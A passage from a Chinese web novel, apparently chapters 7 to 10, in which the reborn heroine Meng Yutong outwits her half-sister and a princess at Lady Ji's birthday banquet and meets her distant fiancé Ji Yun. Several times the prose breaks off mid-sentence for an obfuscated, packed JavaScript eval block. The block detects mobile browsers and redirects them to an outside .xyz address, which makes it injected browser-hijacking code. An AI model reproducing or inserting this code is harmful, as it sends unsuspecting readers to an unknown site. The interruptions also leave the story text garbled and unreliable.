一日后,天气晴好,春风和畅。 暖金色的阳光透过雕花窗棂柔柔洒入纪府花厅。花厅中,朱漆雕花长案上铺着月白湘绣桌布,错落摆放着青瓷冰纹果盘,盛着西域蜜瓜、葡萄等时令鲜果。 厅中四角立着青铜仙鹤香炉,吐出缕缕沉水香,香气沉静而雅致。 纪夫人今日着了身天青色绣银竹的褙子,发间戴一顶梅花纹羊脂白玉冠,虽已年近四十,却因保养得宜,面容清丽如三十许人。 她含笑接过贵妇们递来的寿礼,端坐在席首紫檀云纹扶手椅上,听着众人寒暄。 “夫人这些年都不办寿,可叫我们好生惦记。”身着绛紫褙子的刘夫人摇着缂丝团扇笑道,“上回赏梅宴也不见人,还以为与我们生分了。” 纪夫人靠在靠枕上,眼角细纹舒展,与往昔闭门礼佛时的冷肃判若两人,“前些年身子不大好,太医嘱咐静养,”她目光似有若无地掠过厅门,“如今大好了。” 坐在座首左侧的荣亲王妃目光往座下扫了一圈,问道:“今日怎么不见淮之?” “医官院事忙,说是晚些到。”纪夫人话音未落,忽听下首一位夫人笑道:“今日孟家小姐要来吧?听闻那姑娘生得琼姿花貌,性子又温婉可人,针黹女红更是出色,大公子好福气。” “是啊,还未曾见过这位孟大小姐呢,今日可有机会一睹芳容了。” 满座命妇闻言皆含笑附和,眼底却藏着几分玩味。谁不知孟家虽家底丰厚些,终究门第不高,这番夸赞不过是为全主家颜面。 纪夫人心中对这门亲事并没有不满的,这些人眼界低,只知道看家世背景,殊不知人才品行才是最要紧的。 而在她心中,孟玉桐良善慈软,性子周全又大方,待人待事皆以真心,实在难得。临安城中怕是再没有比孟玉桐更适合做媳妇的姑娘了,她唇角微扬,正待开口,忽听厅门处传来一阵骚动。 众人回首,只见孟家姐妹一前一后踏入厅中。 孟玉桐今日着了那身暗紫色遍地金大袖襦,赤金头冠在室光下刺目晃眼,衣摆上绣着大朵的牡丹团花,行走间金线闪烁,活似个暴发户家的娘子。 这般浮夸装扮,叫人都不敢细看,只一眼便都匆匆别开了眼去。 而她身后的孟玉柔却是一身烟色罗裙,发间只簪一支白玉芙蓉簪,清雅简单。两相对照,愈发衬得前者张扬不合时宜。 满堂贵妇一时静默。 “到底是商贾出身......”有人以扇掩面,低声耳语。 “这般作派,怎配得上纪大公子......” 孟玉柔听着周遭这些议论,唇角忍不住上扬。她偷眼去看纪夫人,见对方眉头微蹙,心中便更满意了。 只可惜纪公子不在,没让他瞧见孟玉桐这般俗气的模样。 荣亲王妃倒是绕有兴致地打量着孟玉桐。 她与纪夫人李婉虽为妯娌,都是皇室宗亲,偏偏李婉生了个如此出众拔萃的儿子,而她生的那个却是临安城出了名的纨绔。 表兄弟二人常常被拿来比较,可这两人实则是没有什么好比的,不过是时下人惯爱踩一个捧一个,变着法子嘲笑她苏明微罢了。 荣亲王妃轻摇团扇,眼底闪过一丝玩味。如今倒是有趣,这临安城最负盛名的少年郎君,竟要配这般俗艳的女子,倒叫她心下生出几分快意。 “孟大姑娘果然名不虚传。”王妃朱唇微启,“这般容色,当真令人过目难忘。” 纪夫人对席下一些私语之声恍若未闻,只笑着朝孟玉桐招手,“玉桐来得正好。你祖母近日身子可还康健?” 孟玉桐端着得体的微笑,她缓步上前,向纪夫人行礼祝寿,“多谢纪夫人挂怀,祖母一切安好。”举手投足间不见半点局促。 这一身气度倒是脱俗,与她这装扮品味不太相衬。 孟玉柔见众人目光皆被孟玉桐引去,忙示意侍女捧来一方紫檀嵌螺钿锦盒,笑吟吟上前:“夫人,这是玉柔亲手挑的玉饰,与您的气质很是相称,祝您福寿绵长。” 她揭开锦盒,里头躺着一枚玉佩,和田籽玉圆雕作宝葫芦状,葫芦玉上草木花纹蜿蜒如生,上悬盘长结络子,下缀五蝠攒心流苏。 纪夫人目光淡淡掠过,颔首道:“你有心了。” 婢女上前接过锦盒收起。 “这纹样倒是精巧。”刘夫人凑近细看,“这是......” “是芨芨草,秦州名花,”孟玉桐温声接话,指尖不着痕迹地抚过自己袖口,“秦州绣娘匠人最擅此花样。” 众人闻言,不由重新打量这位孟家嫡女。 细看之下,但见她眉如远山含翠,目似秋水横波,纵然一身浮华装扮,也掩不住骨子里的明艳大气。一双眼睛大而有神,如青瓷盘里盛着的那葡萄似的,灵动深邃,见之难忘。 与当下时兴的清冷如弱柳扶风之态迥异,反倒显出少见的雍容华贵的气质来。 孟家姑娘模样的确出众,多看两眼,倒是硬生生将这一身落俗的大金大紫看顺眼了。 荣亲王妃朱唇微抿,亦是打量着即使身处非议中心依旧脊背挺直、目光清正的孟玉桐,眼底那丝快意淡去,取而代之的是一抹审视。 这通身的气度……倒不像是小门小户能养出来的。 孟玉柔笑容一僵,暗恼她插话,忙道:“姐姐的贺礼呢?”她故意顿了顿,“姐姐莫不是今日顾着打扮,忙忘了吧?” 满座贵妇神色皆有些微妙。 孟玉桐不慌不忙从白芷手中接过一只素锦香枕:“晚辈拿不出妹妹那般贵重的礼物,只能亲手缝制此物。” 她将香枕奉上,枕面是落花流水锦,曲水纹打底,散落着疏朗的梅花,“听闻夫人眠浅,里头添了安神的药材。夜里放在榻间,有舒心凝神的安眠之效。” 纪夫人将香枕接过,指尖抚过枕上疏朗的梅纹,一缕清冽药香沁入心脾,连日来的烦躁竟奇异地被抚平了些许。 这丫头……总是这般用心。 她抬眼看向孟玉桐,眼中泛起涟漪,半晌才道:“这味道闻着便舒心,费了你不少功夫吧。” 孟玉桐摇摇头,“夫人喜欢便好。” 上辈子,她嫁入纪家后才知,纪夫人和纪昀皆有失眠之症。 寻常安神汤药对他们收效甚微,想起幼时为母亲做的安神香囊,她于是便另辟蹊径,从香囊、香料一类的下功夫,辅之一些安神的药材,反倒见效。 如今重来一世,这香枕里的配方,正是前世反复调试所得。 座下亦有人附和:“这香枕当真是用心,我这夜里也睡不好呢,还是纪夫人有福气!” “是啊,别说咱们了,我儿白日里多饮几盏茶,夜里也睡不踏实呢,这亲手制的香枕可是想要也买不到呢。” 孟玉柔听得别人称赞的话,又见纪夫人爱不释手,酸溜溜道:“姐姐,姨娘每月也给了你不少银钱,你怎么不置办件像样的礼物呢,”声音虽轻,却恰好能让周围几位夫人听清,“姐姐该不会将银钱都花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127366|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了自己身上,没有余钱了吧?若早知道如此,你怎么不同妹妹说呢?” 孟玉桐眸色澄明,好似听不懂她的话,“妹妹说笑了。姨娘周到,今日来宴席的行头从上到下都是她置办的,我没有什么要给自己打点的地方。” 她说着微抚袖口,看似无意地调整了一下站姿,裙摆恰好微微铺开展于道旁,声音轻柔却清晰,“姨娘出身书香门第,眼光自然不俗。既是她一番心意,我这做晚辈的岂敢推辞?” 这一番话,语气柔和,话却说得滴水不漏,既撇清了滥用银钱的指责,又将这身浮华装扮的来由说得明明白白。在座诸位夫人哪个不是人精,闻言皆若有所思地望向孟玉柔。 孟玉柔闻言一张脸红了又红。 恰在此时,一名捧着茶盘的丫鬟经过。孟玉桐侧身避让,丫鬟却不慎踩到裙角,手中茶盏向前一倾—— “哗啦”一声,整盏热茶尽数泼在裙裾上。 “哎呀!”孟玉桐轻呼一声,提起湿透的裙摆,露出底下月白衬裙上大朵芨芨草花木纹。 这花纹工艺技法与方才孟玉柔呈上来的玉器一模一样,显然是出自同家。 荣亲王妃捧着茶盏,看热闹似的将手搭在檀木椅子上,笑道:“不愧是一双姐妹,孟家姑娘倒是都偏爱这秦州的草木纹。” “母亲是秦州人。”孟孟玉桐捏着帕子的指尖微微发颤,眼中水光潋滟,“这衣裳是她......留下的嫁妆。” 厅内顿时陷入死寂。 诸位夫人交换着眼色,孟玉柔送来的贺礼和孟玉桐裙摆间来回扫视,神色渐渐微妙——既然是嫡母的嫁妆,怎会到了庶女身上? 再联系起孟玉桐方才说的话,其中关窍不言自明。 原来这秦姨娘不仅苛待嫡女,霸占其嫁妆,还在今日这样的场合给她挑选那般浮夸的衣饰让她出丑,这孟家大姑娘在孟家的日子看来并不好过啊。 难怪纪夫人今日寿宴只请了两个姑娘,独独没请那位姨娘呢。 孟玉柔脸色煞白,凑近孟玉桐耳边咬牙道:“姐姐你这副姿态旁人该如何想我!” 她当这孟玉桐真是傻的,让她穿这身便穿着这身来了,原是在这里等着她。如此想来她前日状似无意说的那句纪家人喜欢清新的花木纹的话,也是故意说给她听的了! 孟玉柔这一回的声音的确是说得低了,低得只叫孟玉桐一人听见。 孟玉桐唇角微扬,声音轻淡:“妹妹拿这身衣裳首饰来让我穿的时候,拿走我母亲嫁妆当做贺礼送来纪府的时候,又可曾想过旁人会如何想我?” “你——”孟玉柔气得指尖发颤,锦帕都被绞做一团。 “玉桐。”纪夫人忽然开口,声音温和,“衣裳湿了容易着凉,去换一身我的旧衣吧。”转头吩咐贴身嬷嬷:“去取那件月白绣梅的来。” 这一句话,等于当众表明了对孟玉桐的维护。在座夫人何等精明,立刻岔开话题,说起近日时兴的花样子。 孟玉桐福身行礼,随着嬷嬷退出花厅。转身时,余光瞧见纪夫人脸上关心的神情真切,心中疑惑更深。 上一世的记忆中,她这位婆母就如她爱的梅花一样,性子淡淡的,终日将自己关在屋子里吃斋念佛,少见什么喜怒哀乐。 今日瞧她,却觉得和从前大不相同了。 仿佛换了个人…… 孟玉桐走后,孟玉柔只觉面上挂不住,趁众人说话的功夫,自己找了个位置悻悻坐下,没多久又寻了个理由悄悄走了。 8. 第 8 章 穿过一道垂花门,陈嬷嬷引着孟玉桐来到一处清雅厢房。 两个着藕荷色比甲的婢女正捧着熏笼退出来,见人来立即福身行礼,轻手轻脚地将雕花门扇推开。 屋内陈设简素,临窗的紫檀衣架上,挂着一袭刚备好的月白色绣折枝梅的褙子,料子是上好的吴绫,在透窗而入的日光下泛着珍珠般的温润光泽。 陈嬷嬷将衣裳取下递给孟玉桐道:“这是夫人年轻时的旧衣,姑娘先将就着穿。” 孟玉桐道谢接过,待换好衣裳,陈嬷嬷举着铜镜过来。 镜中人一袭素衣,反倒衬得眉眼如画。 那月白衣料映着淡淡的天光,腰间束着浅碧丝绦,整个人如一支新绽的娇妍玉兰。 陈嬷嬷不由赞道:“姑娘穿这身倒是合宜。” 孟玉桐笑笑,“有劳嬷嬷了。” 待收拾妥当后,两人沿着回廊往回走,孟玉桐慢条斯理地理着衣袖,状似无意地与她闲谈:“夫人往年都不设寿宴,今年突然操办,处处妥帖,想必费了不少心思?” 陈嬷嬷脚步微顿,眼中精光一闪:“姑娘何出此言?” 她是这府中的老人了,自然不是那么容易套话的。 孟玉桐上一世嫁入纪府后,纪夫人不怎么露面,她的一切事务便是由这位嬷嬷亲自料理,是十足的心细如发。 孟玉桐忙捏着帕子掩唇,双颊适时泛起红晕:“嬷嬷莫笑话,只是……”她声音渐低,“我……倾慕大公子已久,又将入纪府,总想多知晓些婆母的喜好。” 这番小女儿情态做得十足,陈嬷嬷目光在孟玉桐低垂的眼睫上停留了一瞬,才又恢复寻常神色,了然道:“夫人是想着大公子即将成婚,总要重新与各家走动。再说等姑娘过门后,这些应酬往来总是少不了的。” “原是如此,”孟玉桐眸光微转,“不知这寿宴是何时开始筹备的,若是早知夫人要办寿,我应该早些知会祖母一声的。” “其实筹备得仓促,也是前两日才定下。” 孟玉桐心中微动,竟然也是前两日。她有些心不在焉地跟着往前走。 转过前边的假山石,陈嬷嬷停下步子,她便也跟着停下。忽见纪昀带着纪明立在廊下。 少年郎君一袭靛青直裰,迎风直立,腰间悬着一枚青蓝色香囊。阳光透过长廊上的紫藤花架,在他衣袂上投下斑驳光影。 孟玉桐与他遥遥相交一眼,呼吸一窒,是纪昀。 方才那番随口说的“爱慕”之言,竟是被正主听了个全乎。 她指尖下意识蜷进掌心,掩去面上陡然凝滞的神色,飞快垂下了眼帘。 纪明朝她挥手:“孟姐姐!” “姐姐今日来参加我母亲的寿宴吗?”待孟玉桐两人走到廊下,纪明挣脱兄长的手,小跑着停在她跟前,仰着脸望她。 孟玉桐浅笑着点点头,“小公子身子可好些了?” 纪明眨眨眼,在她跟前原地转了一圈,拍拍胸脯高声道:“多亏了孟姐姐,早就好了!” 陈嬷嬷有些狐疑,不知孟家小姐与小少爷是如何相识的。 正准备上前问上一句,却见一旁的大公子招手将她唤来,让她将小公子带去回廊口等着。 她便只好照办,拉着不情不愿的小公子走出了回廊。 离开时,她忍不住回头往后看,见两人隔着远远的站着,并不熟稔的模样,这才稍放下心。 廊下忽然安静下来,只余风吹紫藤的沙沙声。 “孟姑娘。”纪昀微微颔首,声音清朗。 孟玉桐朝他微福身,神色疏离而冷淡,“纪公子有事?” 这是她重生以来第一次见纪昀。 不似从前,一见他就面红心跳,一想他就情难自已。那些女儿情态早已在上一世磋磨殆尽。 更没有想象中的怨怼愤恨,此刻他站在她面前,她只觉得,心如止水。 “前几日舍弟突发腹痛,还要多谢姑娘出手相助,此事纪府欠姑娘一个人情。”纪昀声音淡然,目光缓缓落在眼前人身上。 那清冷目光似乎淡淡往她腰间掠过,只见她腰间空空,上回见她时戴的那枚碧色双鱼佩并未挂在腰间。 孟玉桐回道:“那日大雨,纪公子也曾施伞相助,我误打误撞帮了小公子,便当是还了公子施伞之恩了。” 紫藤花影婆娑,落在孟玉桐妍丽的眉眼间,她微微垂着眼,视线落在青石板上绰约的花影上,好似乖顺模样。 语速却比与纪明说话时快上几分。 纪昀静静瞧着,隐约觉得她好像有些不耐烦。 他转过视线,从怀中取出一只粉色香囊,缓缓递到她眼前:“舍弟带回香囊时,发现了这个。想来应是姑娘遗落的。” 他掌心微展,五指却若有似无地环住香囊边缘,两根粉色系带从指缝间垂落,在风中轻轻摇曳。 若要取回,难免肌肤相触。 孟玉桐这才抬眸看向他,她乌黑明眸转了转,很快反应过来,伸手去取那件香囊,“的确是我的,想来应是那日混乱,不小心将它给了小公子。” 她两指精准地捏住那垂落的系带,轻轻一拽。香囊如游鱼般从他掌心滑出,“有劳公子替我保管,我这就带走了。” 有风穿廊而过,紫藤花影在青石板上碎成流动的斑驳。 纪昀缓缓收拢空落落的掌心,指腹残留的浅淡药香被风卷散。 总觉她与他前两日在茶肆外偶遇时相比,有些不一样了。 那时她望向自己的眼神,温婉而柔和,带着一两分明显的羞怯。 “纪公子若无事,我便先离开了。”她扯开嘴角,眼中却平静而冰冷,语调颇快,裙角也很快随着她的动作摆开,像是有什么洪水猛兽在背后攀她似的。 “且慢。”纪昀忽然上前半步,靛青袍角扫过石阶落花,暗色花影在他俊逸的面容上流转,他开口问道:“姑娘给舍弟配的药方,手法甚是老道,”他声音压低,目光带着几分探究,静静落在她身上,“从前似乎从未听说过姑娘精通医术,不知师承哪位圣手?” 孟玉桐将香囊收回袖中,淡淡道:“家中经营药材,跟着药师略学了些皮毛罢了。这点功夫就不在纪公子面前班门弄斧了,”她抬眸,坦然迎上他的审视,“方才席间不甚弄湿了衣裙,我这趟出来是换衣裳的,这衣裳换了颇久,恐怕纪夫人要担心。” 显然是不愿再与他多说。 廊下静了几息,风吹花动的摩挲声一阵高过一阵。 纪昀眼中似有暗暗花影掠过,明暗交错中,辨不清情绪,他拱手后退一步,“是在下冒昧。” 她颔首离去,纪昀望着她消失的方向,却微皱了皱眉。 寻常药师不过略通些医理,能辨认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人走远后,他一只手横在胸前,一只手捏着自己的下巴,开始沉思。 方才他好像隐约听见孟姐姐说她‘爱慕’兄长,可是两人独处时孟姐姐的态度瞧着又十分冷淡,孟姐姐究竟喜不喜欢兄长呢? 他有些困惑。 孟姐姐若是不喜欢兄长,会不会也连带着不喜欢他呢? 他两根眉拧做一团,十分纠结的模样。 “又在琢磨什么?”清冷嗓音自头顶落下。 纪明仰头,脱口道:“我在想该怎么委婉地提醒兄长他有些不讨人喜欢。” 一句话说出口,正撞进兄长深潭般的眸子里,纪明才反应过来自己说了什么,连忙捂住嘴,眼珠一转脸上绽开一道讨好的笑,“兄长,我是说你今日真真是丰神俊朗,满院的花草都要避让你的光华!” 纪昀轻嗤一声,懒得理他,拂袖转身而去。 长袖打在纪明胳膊上,他一个激灵闪开,又腆着脸快步追上去,“兄长等等我呀。我的腿可没有兄长那么长,一步能迈出一个我那么长呢。” 纪昀脚下未停,只从鼻间逸出一声几不可闻的轻哼,也不知是无奈还是嫌弃,步幅却缓了半分。 9. 第 9 章 孟玉桐随陈嬷嬷一起回正厅席间时,见诸位夫人执盏品茗,案上茶烟袅袅,较方才倒是添了几分静谧。 花厅之间唯余茶盏轻碰之声。 “哟,这就是淮之的那位未婚妻?”纪夫人身旁不知何时坐了位绯衣女子,眉目张扬,语声不羁,说话间耳边一对红珊瑚坠子摇摆不停,闪得人眼花。 陈嬷嬷附耳低语提醒,孟玉桐听后盈盈福身,“景福公主万安。” 当今圣上有三个兄弟姊妹,景祯公主、荣亲王和景福公主。四人虽不是一母同胞,但在历年来见血不见情的皇室宗族之中,已算得上关系不错了。 景和二十年圣上秋猎之时,猎场中一头花豹发狂袭击,景福公主替他挡下了致命一击,虽保得圣上身安,她却自此缠绵病榻,养了许久才堪堪恢复。 自那之后,圣上对这位幼妹千般纵容。景福公主今年三十有二,还尚未婚配,外头流言纷纷,圣上便干脆赐了她府邸庄园开府,并一干清俊少年,随意她差遣。 有圣上这般撑腰,即便这位公主性子如何张扬泼辣,行事背经离道,亦无人敢置喙半句。 不过……孟玉桐胸中一滞,指尖微蜷,她忽然想到秋海棠之毒。 景福公主是在明年三月宫宴上中毒离世的。 “模样倒是不赖,仪态气度算得上端方,不过这商户出身实属下乘,与淮之这样的人中龙凤,终究是云泥之别。” 景福公主朱唇轻启,眼间尽是挑剔,“也不知这纪老太爷究竟欠了孟家多大一个恩,竟拿孙儿终身相抵。” 在旁人眼里,攀上纪家是孟玉桐几辈子修来的福气,可与孟家扯上关系,却是纪昀倒了大霉。 两家婚事定下后,外头不乏流言蜚语,只不过纪家向来注重门庭体面,是没人敢在他们跟前说这样打抱不平的话的。 偏偏景福公主是个口无遮拦,无法无天的,兴致来了便将这样当众发难,一旁的官家太太们纷纷噤声,看起热闹来。 “娟儿,休要胡说。”纪夫人轻按景福公主的胳膊,眉间有几分不悦之色。 景福公主随即斜睨了纪夫人一眼,酸溜溜道:“哟,这人还没嫁进来呢,姐姐倒是先护上了。还真是婆媳情深呢。也不知我是在为谁说话,白惹人嫌。” 孟玉桐微垂着眼,受着屋中众人异样的目光在原地站着。 她心下了然,纪夫人越是为她说话圆场,这位公主便越是揪着她不放,没法这样轻易糊弄过去。 她抬起头,语声轻缓却不卑不亢,在纪夫人准备再次开声前截过了话头,“公主殿下凤藻金声,所言‘门第之别’,确是世间常有之论。 “孟氏虽为商贾,然家训首重‘诚信立身,仁德传家’。晚辈自幼蒙祖母及父母教导,时时谨记于心。 “纪公子龙章凤姿,晚辈虽蒙祖训,于门楣勋贵,实不敢妄称匹配。” 景福公主掩着唇笑出声来,“倒是还有几分自知之明。” 孟玉桐能感受到,有许多意味不明的视线落在自己身上。 若换作前世那个困于他人言语的自己,此刻怕是早已面红耳赤,无地自容。 可今时不同往日,她历经一世沉浮,又岂会再被几句闲言轻易困住? 她身形未动,微微扯动嘴角,脸上呈现出一道得体笑容,“然此桩姻缘,承先祖情谊之泽,系于长辈慈命,晚辈唯有谨遵教诲,时时惕厉,恐负两家长辈之厚望,亦忧损纪公子清俊令名。 “今日乃夫人寿诞,满堂吉庆。晚辈愚见,门第匹配与否,自有长辈权衡。晚辈唯愿夫人福寿绵长,府上安康和乐。” 一番话说完,满堂倏然一静。不等景福公主回神,孟玉桐广袖翻飞,行云流水般行了个万福礼,脚步轻移,悄无声息落座。 落座后,她指尖紧攥着手心的帕子,脸上带一丝恰到好处的落寞伤怀,垂眸间眼波流转,盈盈欲泣之态,惹得周遭夫人们皆暗叹一声“我见犹怜”。 众人方才皆知,孟家这嫡女幼年失恃,又受妾室苛待磋磨。 这看似高攀的姻缘,于她而言,又何尝不是枷锁? 往后踏入纪府朱门,是福是祸,当真难料。 景福公主面上的张扬笑意如潮水退去,眼底腾起阴云。 孟玉桐这番话,表面低眉顺目,实则句句暗藏机锋,那句“自有长辈权衡”,分明是暗讽她越俎代庖。 偏生对方又摆出这副楚楚可怜模样,若再纠缠,只怕姐姐定要阻拦。 她凤目微眯,盯着孟玉桐的眼神愈发冰冷,这商户女看似柔弱,实则暗藏锋芒。若放任她进了纪府,只怕要搅得鸡犬不宁。 心思百转间,她已打定主意要去圣上面前提上一句,管这纪老太爷欠了什么劳什子恩情,大不了多赏些金银,断不能让淮之误了终身。 正思忖间,一道清越男声自月洞门外传来:“姨母安好。” 景福转怒为喜,笑着抬眼看向来人,“淮之,今日是你母亲的生辰,可是去为你母亲准备什么惊喜了?” 纪昀长身玉立,朝着主位两人恭敬一揖,“儿子偶遇秦州游商于御街八珍坊设摊,见这只玉镯镯身通透如水,正合母亲雅趣,故而采买,望母亲喜欢。” 说罢,云舟打开锦盒,只见里头躺着一只羊脂白玉镯,镯上银丝勾勒的梅花栩栩如生,花瓣间还缀着几粒东珠,在室内淡淡光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127368|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影中流转着盈盈光华。 纪明小步疾行至纪夫人膝前,双手捧起描金漆盒,献宝似的将玉镯取出。 那羊脂白玉光泽温润,他小心翼翼替母亲套上,仰着小脸笑道:“母亲瞧瞧可合手?我与兄长在御街挑了好久才挑中的呢。” 纪夫人抚着腕间玉镯,眉梢眼角皆是暖意,伸手揉了揉纪明发顶:“你们兄弟有此孝心,母亲很喜欢。” 纪明被母亲亲近,先是一愣,而后脸上转现明朗笑意,“母亲喜欢就好!” “纪夫人好福气,两位公子这般贴心,真是羡煞旁人”,一旁的夫人们也笑着恭维了几句,方才景福公主发难之事便被这么悄悄揭了过去。 孟玉桐坐于末席,眸光掠过那只玉镯时微微一顿,纪昀口中的秦州游商难道是……她垂眸望着案前茶盏,看来自己要去一趟八珍坊瞧瞧才好。 正思忖间,刘夫人摇着团扇笑问纪昀:“听闻翰林医官院近日要颁新令,民间医馆若表现出众,便能入了官家名册?” 这工部侍郎刘夫人有个儿子名唤宋寅深,今年二十五,性子清高古怪,还未娶妻。 据传这位宋公子自幼被父亲按科举入仕的路线严格教养,可他却对经史子集毫无兴趣,反爱偷翻家中藏的医书,常蹲在药铺外看郎中诊病。被父亲发现后训斥“玩物丧志”。 后来宋寅深屡试不第,家中知道他不是读书的材料,见他喜欢学医,便想着退而求其次,让其去考医官院。 谁知这医官院也考不上。 他又不屑靠父亲荫庇进太医院当个“挂名医官”,家中无奈,替他开了间医馆。 医馆名为“济世堂”,就开在在御街太庙旁,毗邻太医局与官署。 刘夫人盘算着,济世堂本就占了地利,若能得官家收编,岂不是平步青云?她也不必再为儿子的前途忧心。 纪昀缓缓撩起衣袍,在孟玉桐正对面的空位坐下,他抬眼时,恰见对面女子正执起茶盏轻啜,姿态闲适自然,仿佛方才的事情对她并未有什么影响。 见他瞧过来,她避也不避地静静望回来,一双眸子亮如浸在清泉里的乌珠,清白直接,倒叫他指尖顿了顿。 他想起方才面对姨母的刁难逼问,孟玉桐一派淡然冷静,伶牙俐齿的模样,倒是与传闻中的娴静安然有些出入。 他淡淡移开视线,朝刘夫人道:“确有此事,今日刚在朝天门城墙张榜。” 纪夫人静静瞧着两人之间一来一往的眼神动作,眉心皱了起来。 她总觉着,孟玉桐看向自家儿子的眼神,不像是在看未婚夫婿,过分的直白冷静了些。 不知怎的,心中隐隐不安。 10. 第10章 纪昀言罢医馆入官册一事,刘夫人手中团扇摇得更急,追问:“不知这收编的章程如何?临安城百余家医馆,能有几家入得官眼?” 她哪是真不知详情,不过是借纪昀之口,向众人宣告济世堂志在必得,顺带探探这新政有无空子可钻。 纪昀指尖轻叩着案几,缓缓开口:“从今年五月开始,一年为期。明年五月,医官院会按救治人数、药材施济、坊间口碑综合考评,前十者收编。” 他话音未落,刘夫人顿时喜上眉梢,这救治人数、药材施济等等都有可运作的空间,听来不算是难事。 只是她脸上笑意还未散,便听纪昀话锋一转,语气更淡:“每一项考评都有医官逐户核查,若有虚增病患、伪造口碑者,当即查没医馆,不可再参选。” 刘夫人的小心思被人看穿,一时间心虚不已,身子倏然塌下来半寸。 她强作镇定,摇摇扇子附和道:“自然,自然。” 孟玉桐闻言眸色微变。 纪昀不咸不淡的话语,在她心中却已掀起波澜。 一年时间,十家医馆……若真能入了官家名册,不仅能全了她想坐馆行医的心思,更能借此从孟家分出…… 孟玉桐视线轻转,看向纪夫人身侧的景福公主。 她自然对这医馆之论没什么兴趣,此刻正百无聊赖地拨弄腕间赤玉镯子,那镯子血红如霞,倒衬得她指尖莹白。 这性子火烈的公主,怕是还在为方才被驳了颜面耿耿于怀,指不定正琢磨着如何在圣上面前进言,好搅黄了这门亲事,替她外甥省去一个大麻烦呢。 若真能退亲,于她而言倒是省心。 可孟玉桐转念想起上一世种种,照景福公主的性子,怕是早已在圣上面前提过异议,可她最后还是嫁入了纪家。 可见这门亲事成全与否,症结终究系在祖母身上。 听完纪昀今日所说,她心中已隐隐有了说服祖母的绝佳借口。 想起祖母……孟玉桐心头微涩,恍惚忆起那个凄惶的午后,白芷同她说祖母并未反对秦姨娘让孟玉柔嫁过来的提议。 她那时心中是有怨的。 只是到了如今,她早已懒得去计较上辈子那团烂账。 她更在意的是,如何在这桩于孟家生意有益的婚事中,寻得能让祖母点头退亲的筹码。 思绪翻飞间天色已渐暗,纪夫人起身送景福公主离开。 满堂宾客起身,孟玉桐也跟着起身,恭敬低眉立在一边。 景福公主穿着张扬明艳,头上身上以赤红色装饰为主,故而看她第一眼便会被她上半身吸引视线。 而此时孟玉桐低着头,倒是发现些不寻常的。 她瞧见景福公主经过她身旁时,步子缓缓,一深一浅,似乎与常人走路的步伐不太一样。 她心头掠过一丝异样。 未及深究,景福公主与纪夫人已经离开花厅。其余人也开始陆续离开,孟玉桐跟着人流往外走,刚走出两步,便被纪明拉住。 “孟姐姐,这是母亲让我给你的。”他捧着一方锦盒,里头正是孟玉柔方才送给纪夫人的贺礼。 是她母亲的东西。 孟玉桐指尖微颤,小心翼翼地接过锦盒,打开半寸,望着里头静静躺着的玉葫芦,心中竟有酸涩,“替我谢过夫人,还有我身上这衣裳,回头我让人洗净了再送来。” 纪明左右瞧瞧,悄然凑近了拉着她问:“孟姐姐,你是不是不太喜欢我兄长?” 孟玉桐微微往前倾身,被他这话问得动作一滞,目光越过层层叠叠的雕花屏风,下意识抬眼,只见门扉旁立着一道清瘦身影。 纪昀负手立于门前,墨发高束,锦袍在晚风中勾勒出劲瘦轮廓,指间捻着枚青玉佩,眸光淡漠,隐含探究,正不偏不倚望过来。 一瞬间,孟玉桐仿佛回到她上辈子在纪府的那段时日。 无论她将这纪家主母做得多好,他待她总是淡淡的,看向她的眼神也就如今日这般。 她那时还以为他是性子生得清冷,时间久些就好了。后来她才明白,其实纪昀只是待她冷淡而已。 若是能早些看清楚,上一世也不必白白蹉跎。 她垂下眼,盯着手中的锦盒,声音淡淡:“小公子说笑了,我与纪公子不过数面之缘,何谈喜恶。” 纪明摸摸下巴,又皱起眉来,姐姐嘴里说着不讨厌,怎么一提起兄长态度就变冷了呢? 哎呀不管了,反正不是讨厌他就行。 纪明两手一摊,又笑嘻嘻地去摇她:“孟姐姐,你上回给我开的药味道我很喜欢,你能不能改良下方子,我偷偷让人制成糖丸?最近兄长看得严,什么也不让我吃,我现在瞧见院里的草皮都想上去啃一口。” “加些甘草、槐花蜜,文火慢熬两个时辰即可。”孟玉桐被他这话逗乐了,指尖轻点他额头,“只是每日至多服用三丸,不可贪多。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白芷说得心头畅快,倚坐在临窗矮几旁的桂嬷嬷闻言,两道眉却紧紧拧着:“姑娘何苦与她们做这针锋相对?秦姨娘仗着老爷宠信,二小姐又是个惯会撒泼弄痴、颠倒黑白的。若早早撕破了脸皮,往后的日子,只怕……只怕更添艰难啊。” 